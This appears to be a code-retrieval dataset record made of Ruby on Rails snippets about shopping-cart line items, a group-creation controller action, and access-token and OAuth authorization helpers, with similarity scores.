"def destroy\n @line_item = LineItem.find(params[:id])\n @order = @line_item.order\n @line_item.destroy\n \n @order.total = @order.line_items.sum(:line_total)\n @order.update_attribute(:total, @order.total)\n\n respond_to do |format|\n format.html { redirect_to request.env[\"HTTP_REFERER\"] }\n format.xml { head :ok }\n end\n end",
"def remove(stuff, options={})\n if stuff.is_a?(MerchantSidekick::ShoppingCart::LineItem)\n self.remove_cart_line_item(stuff, options)\n else\n self.remove_product(stuff, options)\n end\n end",
"def line_item(item)\n {\n Name: item.product.name,\n Number: item.variant.sku,\n Quantity: item.quantity,\n Amount: {\n currencyID: item.order.currency,\n value: item.price\n },\n ItemCategory: 'Physical'\n }\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n # @line_item.destroy\n #if @line_item.quantity > 1\n # @line_item.update_attributes(:quantity => @line_item.quantity-1)\n #else\n @line_item.destroy\n #end\n respond_to do |format|\n #format.html {redirect_to (cart_url(session[:cart_id]))}\n format.html {redirect_to (store_url(session[:cart_id]))}\n #format.html { redirect_to line_items_url }\n #format.json { head :ok }\n #format.html {redirect_to(store_url, :notice => 'Line Item Removed')}\n #if current_cart.line_items.empty?\n # format.html { redirect_to(store_url, notice: 'Your cart is empty') }\n #else\n # format.html { redirect_to(@line_item.cart, :notice => 'Item has been removed from your cart.') } # format.html { redirect_to(current_cart, notice: 'Item Removed') }\n #end\n\n # if LineItem.find_by_cart_id (@line_item.cart_id).nil?\n # format.html {redirect_to store_url, notice: 'your cart is currently empty'}\n #else format.html {redirect_to current_cart, notice: 'Line item removed'}\n #end\n\n #format.html {redirect_to :back}\n format.json {head :ok}\n end\n end",
"def remove_item_from_stock(product_id)\n\t\tproduct = Product.find(product_id)\n\t\tif product.stock - 1 < 0\n\t\t\trender :json => \"No hay suficientes productos\"\n\t\telse\n\t\t\tproduct.stock -= 1\n\t\t\tproduct.save\n\t\tend\n\n\tend",
"def remove(item)\n cart_items.where(item_id: item.id).first.try(:destroy)\n end",
"def remove_item(item)\n return unless @items.key? item\n\n @items.delete item\n @version += 1\n end",
"def single_sell_in_day_remover(item)\r\n item.sell_in -= 1\r\n end",
"def remove_product(product, quantity=1, payment_method='deposit')\n item = @items.find { |i| i.product_id == product.id && i.payment_method == payment_method }\n if item\n if item.quantity > quantity then\n item.quantity -= quantity\n else\n @items.delete(item)\n end\n end\n end",
"def destroy\n\n @cart = current_cart\n @line_item = @cart.remove_product(@cart.line_items.find(params[:id]))\n #the @cart is a security measure to ensure that the item is within\n # the current cart; I'm not certain if this is needed\n\n\n respond_to do |format|\n format.html { redirect_to store_url }\n format.json { head :no_content }\n end\n end",
"def sell_inventory(material, quantity)\n material.quantity -= quantity\n end",
"def destroy\n\t\t@line_item.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to line_items_url, notice: \"Req ID: #{@line_item.id} removed.\" }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def line_item_for(variant_id, order_id)\n line_items_for_variant = line_items_by_variant_id[variant_id]\n return NullLineItem.new unless line_items_for_variant\n\n line_item = line_items_for_variant\n .find { |line_item| line_item.order_id == order_id }\n\n line_item || NullLineItem.new\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_path(@current_cart), notice: 'Line item was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n li = @cart.line_items.find_by_id!(params[:id])\n li.destroy\n render json: {}, status: :ok\n end",
"def compact_line_items\n return params unless params[:purchase].key?(:line_item_attributes)\n\n params[:purchase][:line_items_attributes].delete_if { |_row, data| data[\"quantity\"].blank? && data[\"item_id\"].blank? }\n params\n end",
"def remove(item)\n if item.kind_of?(ItemStack)\n stack = get_item(item)\n stack.remove(item)\n if stack.quantity == 0\n self.delete(stack)\n elsif stack.quantity == 1\n self[self.index(stack)] = stack.item\n end\n else\n self.delete(item)\n end\n end",
"def remover_item\n # Remove um item do final do buffer\n BUFFER.pop\n end",
"def update_product_qty\n @order = Spree::Order.find_by_id(params[:order_id])\n @line_item = Spree::LineItem.find_by_id(params[:line_item_id])\n request_to_update_qty = params[:quantity].to_i\n # code to find the order_total\n if @order.market_place.present?\n case @order.market_place.code\n when \"qoo10\"\n order_total = @order.market_place_details.present? ? @order.market_place_details[\"total\"] : @order.total\n when \"lazada\", 'zalora'\n order_total = @order.total\n end\n end\n if @line_item.present?\n prev_qty = @line_item.quantity.to_i\n final_qty = prev_qty - request_to_update_qty\n @variant = @line_item.variant\n @product = @variant.product if @variant.present?\n # code to update line item\n @line_item.update_column(:quantity, request_to_update_qty)\n @sellers_market_places_product = Spree::SellersMarketPlacesProduct.where(\"seller_id=? AND market_place_id=? AND product_id=?\", @order.seller_id, @order.market_place_id, @product.id).try(:first)\n if @sellers_market_places_product.present?\n @stock_product = Spree::StockProduct.where(\"sellers_market_places_product_id=? AND variant_id=?\", @sellers_market_places_product.id, @variant.id).try(:first)\n if @stock_product.present?\n @stock_product.update_attributes(:count_on_hand=>(@stock_product.count_on_hand + final_qty.to_i) >= 0 ? (@stock_product.count_on_hand + final_qty.to_i) : 0)\n @variant.update_attributes(:fba_quantity=>(@variant.fba_quantity + final_qty.to_i) >= 0 ? (@variant.fba_quantity + final_qty.to_i) : 0) if [email protected]_inflations.present?\n msg = 'Admin/Orders Controller update_product_qty '\n @variant.add_log_on_update(msg) rescue QTY_LOG.error \"#{Time.zone.now} Error -- #{msg}\"\n end\n end\n end\n # code to update order total after creating line item for order\n @order.update_column(:total, order_total)\n @order.reload\n line_items = @order.line_items\n respond_to do |format|\n format.html { render :partial=>\"modify_shipping\", :locals => { :line_items => line_items }}\n end\n end",
"def compact_line_items\n return params unless params[:purchase].has_key?(:line_item_attributes)\n params[:purchase][:line_items_attributes].delete_if { |row, data| data[\"quantity\"].blank? && data[\"item_id\"].blank? }\n params\n end",
"def remove_item(id:)\n order.items.destroy(id)\n end",
"def clear_free_items\n free_items = @order.line_items.select {|item| item.price == 0}\n @order.line_items.delete(*free_items)\n end",
"def remove_item\n product_id = params[:product_id].to_s\n modify_cart_delta(product_id, -1)\n redirect_to :back\n end",
"def remove_item(item_to_remove)\n $list_hash.delete_if{|current_item, quantity|item_to_remove==current_item} #goes through entire item in delete if hash if item in hash delete from hash\nend",
"def create \n @product = Product.find_by_title(params[:product]) \n @line_item = LineItem.new(params[:line_item])\n @line_item.product_id = @product.id\n @line_items= LineItem.where(:demand_id => @line_item.demand_id, :product_id => @line_item.product_id)\n \n @quantity = @line_item.quantity\n \n if @line_items != nil\n @line_items.each do |item|\n @quantity += item.quantity\n LineItem.find(item.id).destroy\n end\n @line_item.update_attributes(:quantity => @quantity)\n end\n \n respond_to do |format|\n if @line_item.save\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def populate\n @order = current_order(session)\n variant_id = params[:variant_id]\n \n new_line_item = Breeze::Commerce::LineItem.new(:variant_id => variant_id, :quantity => params[:quantity] || 1)\n existing_line_item = @order.line_items.unarchived.where(:variant_id => variant_id).first \n if existing_line_item\n existing_line_item.quantity += new_line_item.quantity\n existing_line_item.save\n else\n @order.line_items << new_line_item\n end\n\n @order.save\n end",
"def remove_item\n @parent.remove_item(self)\n end",
"def stock_minus(product, amount)\n product = Product.find(product)\n quantity = product.quantity\n quantity -= amount.to_i\n product.update(quantity: quantity)\n end",
"def delete_line(line)\n raise \"Can't find line item to delete\" unless @lines.delete(line)\n @deleted_lines << line\n end",
"def remove_line(line)\n\t\[email protected](line)\n\tend",
"def line_items_strict\n\t\tline_items.select do |x| \n\t\t\tinventory_units\n\t\t\t\t.uniq { |y| y.variant_id }\n\t\t\t\t.map { |z| z.variant_id }\n\t\t\t\t.include?(x.variant_id)\n\t\tend\n\tend",
"def remove_quantity_promotions\n if @basket_item.type == \"PurchasingItem\"\n using_promotions_count = UsingPromotion.where(basket_id: @basket_item.basket_id)\n .group(:promotion_id)\n .count\n using_promotions_count.each do | promotion_id, cnt |\n promotion = Promotion.find(promotion_id)\n item_cnt = BasketItem.where(basket_id: @basket_item.basket_id,\n item_id: @basket_item.item_id)\n .count - 1\n if promotion.item_id == @basket_item.item_id &&\n cnt * promotion.item_quantity > item_cnt\n UsingPromotion.where( basket_id: @basket_item.basket_id,\n promotion_id: promotion.id)\n .first\n .destroy\n end\n end\n end\n end",
"def remove_item(item_to_remove)\r\n self.credits = self.credits + item_to_remove.get_price\r\n self.item_list.delete(item_to_remove)\r\n end",
"def remove_item(item_to_remove)\r\n self.credits = self.credits + item_to_remove.get_price\r\n self.item_list.delete(item_to_remove)\r\n end",
"def remove_item(item, grocery_bag)\n grocery_bag.delete(item)\n p grocery_bag\nend",
"def destroy\n @cart = current_cart\n if params[:check_one]\n @line_items = LineItem.find(params[:check_one])\n @line_items.each do |line_item|\n line_item.destroy\n end\n end\n# @line_item.destroy\n\n# @line_item = @cart.sub_line_item(params[:id])\n\n\n respond_to do |format|\n format.html { redirect_to(:action => 'index', :controller => 'store') }\n format.js \n format.xml { render :xml => @line_item, :status => :deleted, :location => @line_item }\n end\n end",
"def lineitem\n if @lineitem.nil?\n @lineitem = {}\n lineitems.each { |li| @lineitem[li.lineitem_id] = li }\n @lineitem.freeze\n end\n return @lineitem\n end",
"def remove product_id\n products.reject! { |product| product.variant.id == product_id.to_i }\n end",
"def remove_item(item)\n\t$grocery_list.delete(item)\n\tp \"You crossed off #{item} from your list.\"\nend",
"def remove_item(input_hash, item)\n# input: list, item name, and optional quantity\n# steps: use input item to delete key\n input_hash.delete(item)\n# output: hash data structure of key/value pairs\nreturn input_hash\nend",
"def remove_item(item, amount)\n # Check if the Entity already has that item\n # in the inventory. If so, just decrease\n # the amount.\n @inventory.each_with_index do |couple, index|\n if (couple.first == item)\n couple.second -= amount\n if (couple.second <= 0)\n @inventory.delete_at(index)\n end\n return\n end\n end\n end",
"def destroy\n @line_item = current_member.seller.line_items.find(params[:id])\n @line_item.destroy\n \n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.xml { render :nothing => true }\n end\n end",
"def remove_item(item_id)\n @items.delete_if { |item| item.id.to_i == item_id.to_i}\n end",
"def destroy\n # make sure user is accessing cart currently\n # held in their session\n if params[:id].to_i == session[:cart_id].to_i\n logger.debug \"***Destroying line item #{params[:line_id]}...\"\n @cart_line_item.destroy\n flash[:success] = \"Item successfully removed from Cart\"\n redirect_to cart_path(session[:cart_id])\n else\n logger.debug \"***Cart id Supplied does NOT match session cart id\"\n no_cart_line_item_found\n end\n end",
"def remove_item(item)\n if !@item\n log(\"Nothing is equipped in that EquipSlot.\")\n return\n end\n if @item != item\n log(\"Item being removed from EquipSlot is not the same as already equipped item.\")\n return\n end\n @item = nil if @item == item\n return\n end",
"def remove_item(groccery_items, key)\n groccery_items.delete(key)\n p groccery_items\nend",
"def remove_item(list, item_to_remove)\n list.reject! { |item, quantity| item == item_to_remove }\n return list\nend",
"def decrease\n @cart = current_cart\n @line_item = @cart.decrease(params[:id])\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to(store_url) }\n format.js { @current_item = @line_item }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def remove_item(index)\n new_items = items\n\n # TODO cleanse. this is shameful\n item = load_item_at(index)\n item.reverse_appointment! if item.is_a?(Proposal)\n\n new_items.delete_at(index)\n update_attribute :items, new_items\n end",
"def prepare_cart_items(variant_id)\n self.update_attributes(variant_id: variant_id, quantity: 1)\n end",
"def get_total_qnty(line_items)\n line_items.map(&:quantity).sum\n end"
] |
[
"0.7368515",
"0.7139236",
"0.69500667",
"0.6828652",
"0.68204445",
"0.6719294",
"0.6652688",
"0.66402674",
"0.6624982",
"0.65296185",
"0.629788",
"0.628605",
"0.6254959",
"0.61943734",
"0.61935043",
"0.616874",
"0.6166004",
"0.61657834",
"0.6160096",
"0.61192286",
"0.609327",
"0.60332453",
"0.59847045",
"0.5977962",
"0.5967008",
"0.5956294",
"0.5955626",
"0.5877659",
"0.585704",
"0.5846762",
"0.58371395",
"0.5817898",
"0.58133936",
"0.57778966",
"0.57613707",
"0.57597417",
"0.5749296",
"0.5731456",
"0.5727088",
"0.57216424",
"0.571958",
"0.571692",
"0.5698747",
"0.5696804",
"0.56918794",
"0.56918794",
"0.56830764",
"0.56826264",
"0.5675631",
"0.5667986",
"0.5661095",
"0.56568897",
"0.56560194",
"0.56488156",
"0.5646287",
"0.5628176",
"0.561953",
"0.5609251",
"0.56033874",
"0.56015",
"0.55876595",
"0.55859846",
"0.55668646",
"0.555146",
"0.55500513",
"0.5547645",
"0.55409276",
"0.55388755",
"0.55297476",
"0.5528313",
"0.552761",
"0.55177605",
"0.5517634",
"0.55161875",
"0.55131",
"0.5511614",
"0.5508518",
"0.5500107",
"0.5491896",
"0.5490861",
"0.54891044",
"0.54828906",
"0.54828906",
"0.5471184",
"0.5469458",
"0.54668516",
"0.5463432",
"0.54587054",
"0.54570967",
"0.54567623",
"0.545276",
"0.5446579",
"0.54458",
"0.54418755",
"0.5441539",
"0.5439974",
"0.54318804",
"0.5429518",
"0.54243237",
"0.5420831"
] |
0.7189742
|
1
|
params: access_token, name auth user's right
|
def create
name = params[:name]
@group = Group.new(name: name)
@group.creator_id = @current_user.id
if @group.save
@current_user.creator_join!(@group)
respond_with(@group, only: [:id, :name, :creator_id, :admin_id])
else
render_error(404, request.path, 20101, @group.errors.as_json)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def access_token\n end",
"def find_oauth_access_token\n end",
"def authorize\n params[:access_token] ||= params[:oauth_token]\n super\n end",
"def restrict_access\n user = User.find_by_authentication_token(params[:access_token])\n head :unauthorized unless user\n end",
"def authenticate\n # if valid_access_token?\n # fetch_access_token\n # else\n get_new_access_token\n # end\n end",
"def user_access_token \n session[:access_token]\n end",
"def restrict_access\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\tparam_account = self.get_account\n\t\t\t# Does the api token exist and if so,\n\t\t\t# does it have the same id as the requester supplied?\n\t\t\tapi_token && api_token.account_id == param_account.id\n\t\tend\n\tend",
"def access_token; self; end",
"def authorize\n @user = User.find_by_id_and_multitrack_token(params[:user_id], params[:token])\n head(@user ? :ok : :forbidden)\n end",
"def to_param\n self.access_token\n end",
"def restrict_access \n \t# Não sei o porque, mas é precisa instanciar esse objeto\n \tresponse = nil\n \t\n \t# Verifica se o TOKEN existe\n \t# TODO: Fazer uma validação do TOKEN quando for chamá-lo\n \t# ao invés de fazer isso aqui, pois economiza uma chamada\n \tif params[:token].nil?\n \t\t# bloqueia o acesso\n \t\thead :unauthorized # retirar no futuro quando melhorar a analise do token\n \telse\n \t\t# Faz a chamada pro API da Arich mediante parâmetros no CONFIG da aplicação Rails\n\t\tNet::HTTP.start(Rails.application.config.authentication_location, Rails.application.config.authentication_port) {|http|\n\t\t\t\tresponse = http.head(Rails.application.config.authentication_complement + params[:token])\n\t\t}\n\n\t\t# Analisa o retorno da chamada da API, se algo diferente de\n\t\t# 200 ele rejeita a autenticação\n\t\tif response.code != \"200\"\n\t\t\thead :unauthorized\n\t\tend \n\tend\n end",
"def auth_token\n TokenProvider.issue_token(\n first_name: object.first_name,\n last_name: object.last_name,\n username: object.username,\n user_id: object.id,\n role: object.role\n )\n end",
"def check_access_token\r\n\t\t\t\ttoken = request.headers[\"X-Access-Token\"] || nil\r\n\t\t\t\t\r\n\t\t\t\tif token\r\n\t\t\t\t\tfind_token = ApiKey.find_by_access_token(token)\r\n\r\n\t\t\t\t\tif find_token.nil?\r\n\t\t\t\t\t\tinvalid_access_token\r\n\t\t\t\t\tend\r\n\t\t\t\telse\r\n\t\t\t\t\tinvalid_access_token\r\n\t\t\t\tend\r\n\t\t\tend",
"def user_authorizes_token?\n return true if params[:authorize]\n\n end",
"def token_verify\r\n\r\n #render json: {id: params[\"user\"][\"id\"], params: params}\r\n \r\n user_tmp = User.find(params[:id])\r\n if user_tmp.authentication_token == params[:authentication_token]\r\n $granted = true\r\n render json: false\r\n else\r\n \r\n render json: false\r\n end\r\n end",
"def access_token\n user_token = @user_token\n goat.transaction do\n if user_token.access_token.nil?\n user_token.access_token = request_token.get_access_token\n if !user_token.access_token.nil?\n goat[user_token.user] = user_token\n end\n end\n end\n @user_token = user_token\n @user_token.access_token\n end",
"def access_expression\n setup_register_objs if @user.nil? || @publisher.nil? || @ad.nil?\n \"#{@publisher.id}-#{@ad.id}-#{@access.token}\"\n end",
"def user_authorizes_token?\n params[:authorize] == '1'\n end",
"def user_authorizes_token?\n params[:authorize] == '1'\n end",
"def user_authorizes_token?\n params[:authorize] == '1'\n end",
"def restrict_access\n\t\t# api_key = ApiKey.find_by_access_token(params[:access_token])\n\t\t# head :unauthorized unless api_key\n\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tApiKey.exists?(:access_token => token)\n\t\tend\n\tend",
"def authorize\n end",
"def authorize\n end",
"def protect_auth\n\t\tapi_key = ApiKey.find_by_access_token(params[:access_token])\n\t\tusr = User.find(api_key.user_id)\n\t\tputs \"IS ROLE AUTHORIZED? #{params[:role] == usr.role}\"\n\t\t#head :unauthorized unless params[:role] == usr.role\n\n\n\t\tmsg = ''\n\t\tif params[:role] == usr.role\n\t\t\tmsg = \"AUTHORIZED\"\n\t\telse\n\t\t\tmsg = \"UNAUTHORIZED\"\n\t\tend\n\t\trespond_to do |format|\n \t\tformat.json { render :json => { :msg => msg } } \t\t\n \t\tend\n\tend",
"def restrict_access\n authenticate_or_request_with_http_token do | token , options |\n ApiKey.exists?(access_token: token)\n end\n end",
"def access_token\n User.create_access_token(self)\n end",
"def authorize!\n api_key = ApiKey.find_by_access_token(params[:access_token])\n head :unauthorized unless api_key\n return false\n end",
"def token\n @access_token.token\n end",
"def request_token\n @token=current_client_application.create_request_token\n if @token\n render :text=>@token.to_query\n else\n render :nothing => true, :status => 401\n end\n end",
"def oauth_token\n sql = \"SELECT * FROM oauth_access_tokens WHERE resource_owner_id= #{self.id} ORDER BY created_at DESC LIMIT 1\"\n #not that ineffecient as there will only ever be 1 row\n ActiveRecord::Base.connection.execute(sql).each(:as => :hash) do |temp_row|\n @row = temp_row.with_indifferent_access\n end\n\n if @row.blank?\n nil\n else\n #note from rob: radi, lead dev of photospark iphone app asked for tokens to never expire. rubs me the wrong way but whatever\n @row[:token]# if @row[:created_at]+@row[:expires_in] >= Time.now\n end\n end",
"def oauth_token\n sql = \"SELECT * FROM oauth_access_tokens WHERE resource_owner_id= #{self.id} ORDER BY created_at DESC LIMIT 1\"\n #not that ineffecient as there will only ever be 1 row\n ActiveRecord::Base.connection.execute(sql).each(:as => :hash) do |temp_row|\n @row = temp_row.with_indifferent_access\n end\n\n if @row.blank?\n nil\n else\n #note from rob: radi, lead dev of photospark iphone app asked for tokens to never expire. rubs me the wrong way but whatever\n @row[:token]# if @row[:created_at]+@row[:expires_in] >= Time.now\n end\n end",
"def client_redirect_auth\n\t\t# Since the :restrict_access method is called whenever this method is called, that will take care of unauthenticated users (will return a 404 before this method is even run)\n\t\tapi_key = ApiKey.find_by_access_token(params[:access_token])\n\t\tusr = User.find(api_key.user_id)\n\t\trole = usr.role\n\t\ttimeUntilExp = ''\n\n\t\tmsg = \"UNAUTHORIZED\"\n\t\tif params[:authorize]\n\t\t\tif params[:role] == usr.role\n\t\t\t\t# Roles match and user is authorized\n\t\t\t\tmsg = \"AUTHORIZED\"\n\t\t\tend\n\t\telse\n\t\t\t# User is authenticated (logged in) but is not authorized\n\t\t\tmsg = \"AUTHENTICATED\"\n\t\tend\n\n\t\tif api_key\n\t\t\tputs \"WHY DOESNT THIS WORK? #{distance_of_time_in_words(Time.now, api_key.expires_at)}\"\n\t\t\tputs \"SECONDS #{((api_key.expires_at - Time.now).seconds).round}\"\n\t\t\ttimeUntilExp = ((api_key.expires_at - Time.now).seconds).round\n\t\tend\n\t\trespond_to do |format|\n \t\tformat.json { render :json => { :msg => msg, :role => role, :timeUntilExp => timeUntilExp } } \t\t\n \t\tend\n\tend",
"def restrict_access\n unless App.exists?(key: params[:access_token])\n render json: { error: \"API-key invalid. Access denied.\" }, status: :unauthorized\n end\n end",
"def check_access_token\n @access_token = session[:access_token]\n\n begin\n @client = Octokit::Client.new :access_token => @access_token\n @user = @client.user\n rescue => e\n # The token has been revoked, so invalidate the token in the session.\n session[:access_token] = nil\n authenticate!\n end\nend",
"def verify_access_token\n auth_token = request.headers['Authorization']\n user_id = auth_token.split(':').first\n \n if user_id == params[:id]\n @user = User.find(user_id)\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: { error: I18n.t('unauthorized') }, status: 401\n end\n end",
"def auth_param; end",
"def token\n authenticate_username_password || render_unauthorized\n end",
"def token\n authenticate_username_password || render_unauthorized\n end",
"def access_token\n @access_token\n end",
"def auth_token_param\n params[:auth_token]\n end",
"def authorize\n oauth_verifier = params[:oauth_verifier]\n request_token = session[:request_token]\n access_token = request_token.get_access_token(:oauth_verifier => oauth_verifier)\n \n user = User.login(access_token)\n session[:user] = user.id unless user.nil?\n redirect_to :controller => :home\n end",
"def restrict_access\n api_key = APIKey.find_by(access_token: params[:access_token])\n render plain: \"You aren't authorized, buster!\", status: 401 unless api_key\n end",
"def user_access\n @bot = current_user.admin? ? Bot.find(params[:id]) : current_user.bots.find(params[:id])\n\n check_user_access(@bot.account.user_id)\n\n rescue\n flash_access_denied\n end",
"def access_token\n @auth.access_token\n end",
"def login_token(access_token)\n\t\tself.access_token = access_token\n\tend",
"def validate_access\n if !validate_token\n error_msg(ErrorCodes::UNAUTHORIZED, \"User not valid\")\n render_json\n end\n end",
"def token_callback\n # puts \"INTAGRAM CLIENT response ACCESS TOKEN ???? #{params.inspect}\"\n if params[:access_token]\n session[:instagram_access_token] = params[:access_token]\n # puts \"INTAGRAM SESSION TOKEN #{params[:access_token].inspect}\"\n\n end\n respond_to do |format|\n format.html {redirect_to profile_path }\n # redirect_to :back, :params => params[:url_params]\n end\n end",
"def get_access_token name = nil\n oauth_instance(name).get_access_token(oauth_request_env)\n end",
"def authenticate_token!\n return render_error(\"Problem with Authentication Token\",401, 401) unless Token.find_by(access_token: params[:access_token])\n end",
"def grantAccess()\n\t\t\tif File.zero?('lib/data.txt') #if files doesn't exist it then gets the access_tokens\n\t\t\t\t@request_token = @consumer.get_request_token\n\t\t\t\tLaunchy.open(\"#{@request_token.authorize_url}\")\n\t\t\t\tprint \"Enter pin that the page gave you:\" \n\t\t\t\t@pin = STDIN.readline.chomp\n\t\t\t\t@access_token = @request_token.get_access_token(:oauth_verifier => @pin)\n\t\t\t\tputs @access_token.token\n\t\t\t\tFile.open('lib/data.txt','w') do |f|\n\t\t\t\t\tf.puts @access_token.token\n\t\t\t\t\tf.puts @access_token.secret\n\t\t\t\tend\n\t\t\telse #if they exist it simple reads them into token_hash\n\t\t\t\tFile.open('lib/data.txt','r') do |f|\n\t\t\t\t\t@token_hash = { :oauth_token => f.readline.chomp,\n\t\t\t\t\t\t\t\t\t\t\t :oauth_token_secret => f.readline.chomp\n\t\t\t\t\t\t\t\t\t\t \t\t}\n\t\t\t\t\tend\n\t\t\tend\n\t\tend",
"def set_access_token\n @model = current_user.access_tokens.find(params[:id])\n end",
"def token(request)\n end",
"def require_access_token\n # make sure the request has been signed correctly\n verify_signature\n \n # NOTE make sure you define Controller#find_token which\n # returns an object that responds to the access_token? message\n # access_token? should return true if the token object is an AccessToken\n # it should return false if the token object is a RequestToken\n if !current_token.access_token?\n throw :halt, render(invalid_access_token_message, :status => 401, :layout => false)\n end\n end",
"def token\n CGI.unescape(self.params[/access_token=([^&]+)/, 1])\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\n end",
"def verify_access_token\n debugger\n @user = User.find_by(access_token: params[:session][:access_token])\n if @user\n render text: \"verified\", status: 200\n else\n render text: \"Token failed verification\", status: 422\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\n end",
"def access_token=(token)\n @access_token_auth = token\n @access_token_no_auth = token\n end",
"def authorization; end",
"def bearer_token\n # Put the url together\n url = \"#{API_HOST}#{TOKEN_PATH}\"\n\n raise \"Please set your CLIENT_ID\" if CLIENT_ID.nil?\n raise \"Please set your CLIENT_SECRET\" if CLIENT_SECRET.nil?\n\n # Build our params hash\n params = {\n client_id: CLIENT_ID,\n client_secret: CLIENT_SECRET,\n grant_type: GRANT_TYPE\n }\n\n response = HTTP.post(url, params: params)\n parsed = response.parse\n\n \"#{parsed['token_type']} #{parsed['access_token']}\"\nend",
"def token_auth\n user = User.find_by_login_and_single_access_token(params[:login], params[:token])\n respond_to do |format|\n if user\n format.xml { render :xml => \"ok\" }\n else\n format.xml { render :xml => \"fail\" }\n end\n end\n end",
"def access_token?\n payload.typ == 'access'\n end",
"def verify_access_token\n Rails.logger.debug \"====== request.headers['Authorization'] = #{request.headers['Authorization']} ======\"\n\n server = AuthorizationServer.new(Application.authorization_server,\n Application.resource_server)\n\n result, @authorized_user = server.authorize_request(request)\n Rails.logger.debug \"------ authorized_user = #{@authorized_user.inspect} ------\"\n\n # If the result is OK, proceed with the operation\n head result unless result == :ok\n end",
"def access_token=(token)\n @access_token = token\n end",
"def check_access_token\n @access_token = session[:access_token]\n\n begin\n @client = Octokit::Client.new :access_token => @access_token\n @user = @client.find_user_installations\n rescue => e\n # The token has been revoked, so invalidate the token in the session.\n session[:access_token] = nil\n authenticate!\n end\nend",
"def get_user_access_token \n @user.instagram_access_token\n end",
"def verify_access_token\n \tuser = User.find_by(auth_token: params[:session][:auth_token])\n\n \tif user\n \t\trender text: \"verified\", status: 200\n \telse\n \t\trender text: \"Invalid token\", status: 422\n \tend\n end",
"def verify_access_token\n user = User.find_by(access_token: params[:session][:access_token])\n if user\n render json: user, status: :ok\n else\n render json: 'Token failed verification', status: :unprocessable_entity\n end\n end",
"def oauth_authentication; end",
"def personal_access_token # :yields: String\n @@token\n end",
"def restrict_access\n\t authenticate_or_request_with_http_token do |token, options|\n\t User.exists?(api_key: token)\n\t end\n\tend",
"def callback \n @github = @user.github\n token = (@github.get_token params['code']).token\n #store this value to user table\n @user.github_access_token = token\n @user.save\n end",
"def test_get_access_token\n end",
"def generate_access_token\n begin\n self.access_token = User.new_token\n end while ApiKey.exists?(access_token: access_token)\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\nend",
"def request_token\n @token = current_client_application.create_request_token\n if @token\n render :text => @token.to_query\n else\n render :nothing => true, :status => 401\n end\n end",
"def access_token_was_refreshed; end",
"def scim_oauth_access_token\n @attributes[:scim_oauth_access_token]\n end",
"def generate_access_token\n self.access_token ||= self.create_access_token\n save && access_token\n end",
"def callback\n access_token = client.web_server.get_access_token(params[:code], :redirect_uri => oauth_callback_url)\n \n current_user.update_attribute(:oauth2_token, access_token.token)\n flash[:notice] = \"Authorized successfully!\"\n \n redirect_to root_url\n end",
"def authorize\n\n @token = ::RequestToken.find_by_token params[:oauth_token]\n\n unless @token\n render :action=>\"authorize_failure\"\n return\n end\n\n unless @token.invalidated?\n if request.post?\n if params[:authorize] == '1'\n @token.authorize!(current_person)\n if @token.oauth10?\n @redirect_url = params[:oauth_callback] || @token.client_application.callback_url\n else\n @redirect_url = @token.oob? ? @token.client_application.callback_url : @token.callback_url\n end\n\n if @redirect_url\n if @token.oauth10?\n redirect_to \"#{@redirect_url}?oauth_token=#{@token.token}\"\n else\n redirect_to \"#{@redirect_url}?oauth_token=#{@token.token}&oauth_verifier=#{@token.verifier}\"\n end\n else\n render :action => \"authorize_success\"\n end\n elsif params[:authorize] == \"0\"\n @token.invalidate!\n render :action => \"authorize_failure\"\n end\n end\n else\n render :action => \"authorize_failure\"\n end\n end",
"def login_by_token\n\n end",
"def index \n # Save the token in the user\n if (params[:token]) then\n \n client = Dopplr::Client.new\n client.login_url \"http://ourco2.org/dopplr/\"\n client.token = params[:token]\n \n # Transform into a session\n @token = client.create_session\n \n # Saves it in the user\n @user = User.find(params[:userid])\n @user.tokendopplr = @token\n @user.save\n \n end\n end",
"def access_token\n api_key.access_token rescue \"\"\n end",
"def init_access_token(params)\n @access_token = request_token.get_access_token(params)\n end",
"def call\n if user\n {access_token:JsonWebToken.encode(user_id: user.id),\n user_role: user.role}\n end \n end",
"def restrict_access\n api_key = ApiKey.find_by_access_token(request.headers[\"token\"])\n head :unauthorized unless api_key \n end",
"def unlock_access_by_token(unlock_token); end",
"def access_params\n params[:access].permit(:user_id)\n end",
"def access_token_params\n params.require(:access_token).permit(:title, :token, :read_only, :expires_at, :suspended)\n end",
"def bearer_token\n # Put the url together\n url = \"#{API_HOST}#{TOKEN_PATH}\"\n\n raise \"Please set your CLIENT_ID\" if CLIENT_ID.nil?\n raise \"Please set your CLIENT_SECRET\" if CLIENT_SECRET.nil?\n\n # Build our params hash\n params = {\n client_id: CLIENT_ID,\n client_secret: CLIENT_SECRET,\n grant_type: GRANT_TYPE\n }\n\n response = HTTP.post(url, params: params)\n parsed = response.parse\n\n \"#{parsed['token_type']} #{parsed['access_token']}\"\nend",
"def token_auth(*args, &block); end",
"def access_robot\n raise 'unauthorised' if current_user != @robot.user \n end",
